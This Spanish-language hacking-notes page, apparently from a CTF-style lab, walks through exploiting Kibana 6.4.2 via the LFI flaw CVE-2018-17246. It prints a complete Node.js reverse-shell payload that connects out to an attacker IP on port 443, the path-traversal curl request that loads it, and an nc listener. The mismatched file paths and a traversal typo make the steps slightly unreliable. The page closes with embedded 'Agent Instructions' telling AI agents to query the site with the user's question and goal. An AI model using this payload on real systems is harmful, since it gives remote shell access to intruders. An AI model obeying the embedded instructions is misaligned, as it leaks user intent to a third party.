> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/kibana-cms-exploitation.md).
# Kibana
Notas de explotación de Kibana para LFI CVE-2018-17246, descubrimiento de versión a través de api/status, ejecución de payload Node.js y entrega de shell inversa.
### Explotación de Kibana (CVE-2018-17246)
**Comprobación de la versión de Kibana**
Al acceder a `http://localhost:5601/api/status` muestra la versión de Kibana **6.4.2**. Esta versión es vulnerable a **Inclusión de archivos locales (LFI)** a través de **CVE-2018-17246**.
{% embed url="" %}
**Explotación de la vulnerabilidad**
Para explotar la vulnerabilidad, crea un archivo JavaScript que abra una shell inversa. En el objetivo, crea `/tmp/rev.js` con el siguiente código:
function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.24", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Evita que la aplicación de Node.js se bloquee
})();
Este script se conecta de vuelta a la máquina atacante en el puerto **443** y abre una shell.
**Redirigiendo el flujo al archivo**
Luego redirige el flujo a `/dev/shm/rev.js` con el siguiente comando:
```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```
**Escuchando la shell inversa**
En la máquina atacante, inicia un listener en el puerto **443** para capturar la shell inversa:
```bash
nc -nlvp 443
```
Una vez conectado, tienes una shell en el objetivo y puedes continuar con la escalada de privilegios.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/cms/kibana-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)